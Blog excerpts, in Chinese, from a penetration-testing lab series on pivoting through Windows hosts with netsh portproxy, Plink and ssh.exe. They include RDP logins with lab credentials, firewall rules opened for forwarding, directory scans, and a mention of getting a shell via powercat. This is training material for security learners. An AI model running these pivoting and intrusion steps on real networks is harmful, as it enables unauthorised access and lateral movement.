ARIES

 Windows 連接埠轉發 - Netsh Netsh 是內建指令，但需要管理者權限才可使用連接 Port 轉發 可以透過 Netsh 在 Interface 上做到 portproxy 練習環境 攻擊機 192.168.45.160 靶機 192.168.201.64、10.4.201.215 說明如下圖 我們希望直接從 Kali 機器透過 SSH 存取 PGDATABASE01。為此，我們需要在 MULTISERVER03 上建立一個連接埠轉發，它將偵聽 WAN 介面並將封包轉送到 PGDATABASE01 上的 SSH 連接埠 netsh interface 指令的 portproxy 子上下文需要管理權限才能進行任何變更。這意味著在大多數情況下我們需要考慮 UAC。在此範例中，我們使用具有管理員權限的帳戶透過 RDP 在 shell 中執行它，因此 UAC 不是問題。但是，我們應該記住，UAC 可能是其他設定中的絆腳石 第一步直接 RDP 進 192.168.201.64 xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.201.64 系統管理員身分執行 cmd 指令 netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.201.64 connectport=22 connectaddress=10.4.201.215 確認 2222 Port 有 Listen 接著查看本機的 2222 Port，確認直接對應到了 10.4.201.215 22 Port netsh interface portproxy show all 目前的網路連接圖如下 但 MULTISERVER03 的 2222 Port 無法從 kali 攻擊機直接連線，nmap 確認一下 所以要在 Windows 上開啟 Firewall Rule 如下 指令 netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.201.64 localport=2222 action=...

 Windows 連接埠轉發 - Plink 儘管現在的 Windows 已經預設內建 SSH.exe，但實際環境中很多管理者會限制甚至移除 這時候尋求 PUTTY.exe 或是 PLINK 是另外一種好用的工具 環境說明，目標 Windows 對外僅有開放 Web Service 80 Port 第一步，透過 Web Service 入侵建立 Interactive Shell 攻擊機 192.168.45.160 靶機 192.168.201.64 rustscan 後，靶機對外僅有 80 Port gobuster 看看入侵點吧 └─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.201.64/ -t 150 -x .aspx 結果跳 Error : http://192.168.201.64/f606e083-b7c0-4b32-9a46-bcd18b686e9d => 200 (Length: 1917). To continue please exclude the status code or the length 那就 ignore 該 length 繼續，└─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.201.64/ -t 150 -x .aspx --exclude-length 1917 沒掃到可利用的 網站有個子路徑 /umbraco gobuster 加上子路徑再掃看看 └─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.201.64/umbraco -t 150 -x .aspx                        掃完發現有個可以直接利用的 forms.aspx，可以直接下 command 之前有學過可以直接利用 powercat.ps1，powercat.ps1 查找與複製到 HTTP Server 根目錄 指...

 Windows 連接埠轉發 - SSH.exe Windows 自 1709 (Windows 10 Fall Creators Update) 以後的版本預設已在系統內建了相關 SSH 的程式，路徑在 %systemdrive%\Windows\System32\OpenSSH\* 底下 例如 scp.exe、sftp.exe、ssh.exe、etc... 可以直接在 command 底下使用者些指令，例如傳送檔案到某一台 Linux Documents 目錄下 指令 scp "D:\test.txt" kali@10.96.249.77:~/Documents/ 可以看到正確的傳送過去 透過這個簡單的演示告知我們在現在化的 Windows 機器上我們可以更方便的直接使用這些指令而不需要另外安裝相關程式，接下來我們將透過一台對外僅開放 3389 RDP 的 Windows 伺服器與前面所學的遠端動態連接 Port 的方式來利用 Windows Server 事實上沒有甚麼不一樣，僅是跳板的伺服器換成了 Windows 伺服器而已 靶機練習環境 攻擊機 192.168.45.250 靶機 192.168.242.64、10.4.242.215 rustscan 後發現我們可以進入的第一台 RDP 伺服器是 192.168.242.64 延續上幾節曾拿過的密碼如下，依據名稱來看優先使用第二個來測試  RDP 登入  - hr_admin : Welcome1234  - rdp_admin : P@ssw0rd!  - database_admin : sqlpass123 指令 xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.242.64 順利登入如下，並看到該台 Windows 有另外一隻腳 10.4.242.64 所以要去到 10.4.242.0/24 就是要透過該台 Windows 去存取 透過 where ssh 指令查看與確認該台 Windows 伺服器有支援 SSH.exe 再透過 ssh.exe -V 確認一下版本，要高於 7.6 的版本才有支援動態連接 Port 轉發 可以看到版本是 8.1 指令與...